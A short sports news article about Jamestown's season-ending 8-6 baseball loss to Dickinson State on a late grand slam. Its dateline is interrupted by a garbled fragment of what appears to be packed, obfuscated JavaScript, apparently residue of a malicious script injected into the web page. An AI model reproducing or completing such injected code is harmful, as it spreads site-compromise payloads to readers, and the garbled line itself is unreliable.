DICKINSON, iyhad|var|u0026u|referrer|harse||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – It isn’t often you talk about late-inning grand slams dooming a team and it’s almost never you can say it happened in back-t0-back games. Unfortunately, that is exactly how the Jimmie baseball went into the offseason. After Friday night’s shocker to Presentation, Dickinson followed with a late slam of their own to win 8-6.

Jamestown trailed 4-0 in the game, but battled back to grab a 6-4 lead. Paul Sitkowski started the rally with a sacrifice fly to right and two batters later Christian Showalter cleared the bases with a three-run double to tie the game.

In the following inning, Landon Uetz untied the game with a two-run blast to put the Jimmies in front for the first time. The lead only lasted an inning and a half before Jacob Hignite hit the biggest homerun of his career, a grand slam to keep Dickinson State alive.

Jamestown couldn’t get anything in the ninth and lost to end their season 31-16.
